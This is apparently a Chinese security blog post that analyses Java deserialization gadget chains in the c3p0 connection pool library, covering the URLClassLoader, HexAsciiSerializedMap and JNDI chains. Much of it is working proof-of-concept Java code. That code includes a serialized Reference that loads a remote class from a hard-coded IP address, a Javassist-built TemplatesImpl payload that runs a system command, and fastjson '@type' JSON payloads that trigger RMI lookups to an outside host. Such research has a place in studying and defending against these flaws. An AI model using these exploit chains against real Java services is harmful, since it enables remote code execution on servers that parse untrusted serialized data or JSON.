https://tttang.com/archive/1411/#toc_urlclassloader
# c3p0 简介
C3P0 是 JDBC 的一个连接池组件
JDBC:
"JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用 Java 程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。"
连接池:
" 我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行 JDBC 的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁 JDBC 连接的开销就太大了。为了避免频繁地创建和销毁 JDBC 连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。"
C3P0:
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有 Hibernate、Spring 等。
# URLClassLoader 链
这里就直接正向分析
入口在 PoolBackedDataSourceBase.readObject
看到会调用序列流中的对象的 getObject
方法,调用 ReferenceIndirector.getObject
由于 ref 是在序列化的时候可以控制的参数,那么 fClassName
自然也是可以控制的属性。
结合下图黄框中的内容不难发现,我们可以通过 URLClassLoader
实例化远程类,造成任意代码执行。
# poc
public class test { | |
public static void main(String[] args) throws Exception { | |
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false); | |
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); | |
Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); // 此类是 PoolBackedDataSourceBase 抽象类的实现 | |
f1.setAccessible(true); | |
f1.set(a,new evil()); | |
// 序列化 | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(baos); | |
oos.writeObject(a); | |
oos.close(); | |
String payload = new String(Base64.getEncoder().encode(baos.toByteArray())); | |
System.out.println(payload); | |
// 反序列化 | |
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); | |
// ObjectInputStream ois = new ObjectInputStream(bais); | |
// ois.readObject(); | |
// ois.close(); | |
} | |
public static class evil implements ConnectionPoolDataSource, Referenceable { | |
@Override | |
public PrintWriter getLogWriter() throws SQLException { return null;} | |
public void setLogWriter (PrintWriter out ) throws SQLException {} | |
public void setLoginTimeout ( int seconds ) throws SQLException {} | |
public int getLoginTimeout () throws SQLException {return 0;} | |
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} | |
public PooledConnection getPooledConnection () throws SQLException {return null;} | |
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} | |
@Override | |
public Reference getReference() throws NamingException { | |
return new Reference("evil","evil","http://120.79.0.164:1236/"); | |
} | |
} | |
} |
解释一下这个 evil
类
我们看到 PoolBackedDataSourceBase
类(抽象类)的 writeObject
方法中有如下内容
该方法会尝试将当前对象的 connectionPoolDataSource
属性进行序列化,如果不能序列化便会在 catch
块中对 connectionPoolDataSource
属性用 ReferenceIndirector.indirectForm
方法处理后再进行序列化操作。
看一下这个 connectionPoolDataSource
属性
是不能进行序列化的,所以会进入 catch
模块
我们跟进 ReferenceIndirector.indirectForm
方法。
此方法会调用 connectionPoolDataSource
属性的 getReference
方法,并用返回结果作为参数实例化一个 ReferenceSerialized
对象,然后将 ReferenceSerialized
对象返回, ReferenceSerialized
被序列化。
下图是 ReferenceSerialized
构造方法,结合上文可以发现,其 reference
对象是人为可控的。
也就是说我们继承一下 Referenceable
类即可
# hex base
如果不出网,而且是 fastjson
或 jackson
的情况,可以用这个 Gadget
。
入口点在 SerializableUtils.fromByteArray
这里对传入的字节码进行反序列化
然后正向看
WrapperConnectionPoolDataSource.setUserOverridesAsString
跟进
重点在这里的 parseUserOverridesAsString
会截取传入的 userOverridesAsString
中 HexAsciiSerializedMap
后面的部分作为 16 进制,然后进行反序列化处理
# poc
拿 rome
反序列化来试试
public class test { | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static byte[] toByteArray(InputStream in) throws IOException { | |
byte[] classBytes; | |
classBytes = new byte[in.available()]; | |
in.read(classBytes); | |
in.close(); | |
return classBytes; | |
} | |
public static String bytesToHexString(byte[] bArray, int length) { | |
StringBuffer sb = new StringBuffer(length); | |
for(int i = 0; i < length; ++i) { | |
String sTemp = Integer.toHexString(255 & bArray[i]); | |
if (sTemp.length() < 2) { | |
sb.append(0); | |
} | |
sb.append(sTemp.toUpperCase()); | |
} | |
return sb.toString(); | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
//templates.getOutputProperties(); | |
ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl()); | |
//toStringBean.toString(); | |
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); | |
//equalsBean.hashCode(); | |
HashMap<Object, Object> map = new HashMap<>(); | |
map.put(equalsBean, "bbb"); | |
setValue(toStringBean, "_obj", templates); | |
serialize(map); | |
InputStream in = new FileInputStream("ser.bin"); | |
byte[] bytes = toByteArray(in); | |
String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytes,bytes.length)+"p"; | |
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource(); | |
exp.setUserOverridesAsString(Hex); | |
} | |
} |
结合 fastjson
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
//templates.getOutputProperties(); | |
ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl()); | |
//toStringBean.toString(); | |
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); | |
//equalsBean.hashCode(); | |
HashMap<Object, Object> map = new HashMap<>(); | |
map.put(equalsBean, "bbb"); | |
setValue(toStringBean, "_obj", templates); | |
serialize(map); | |
InputStream in = new FileInputStream("ser.bin"); | |
byte[] bytes = toByteArray(in); | |
String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytes,bytes.length)+"p"; | |
String exp = "{\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"" + Hex +"\"}"; | |
JSON.parse(exp); | |
} |
# jndi
同样也是在 fastjson
, jackson
环境中可用。 jndi
适用于 jdk8u191
以下支持 reference
情况
JndiRefForwardingDataSource.dereference
这里有 lookup
, 调用对象是其自身 jndiName
属性
看一下谁调用了这个函数
自身的 inner
找一下哪里调用这个
这里很多 setter
与 getter
方法,在结合 fastjson
与 jackson
的时候可以使用
# poc
写一下简单的 poc,这里用 setLoginTimeout
触发
public class test { | |
public static void main(String[] args) throws Exception { | |
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource(); | |
exp.setJndiName("rmi://120.79.0.164:1099/cxhurh"); | |
exp.setLoginTimeout(1); | |
} | |
} |
fastjson
结合的 poc
public class test { | |
public static void main(String[] args) throws Exception { | |
String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://120.79.0.164:1099/cxhurh\", \"loginTimeout\":0}"; | |
JSON.parse(poc); | |
} | |
} |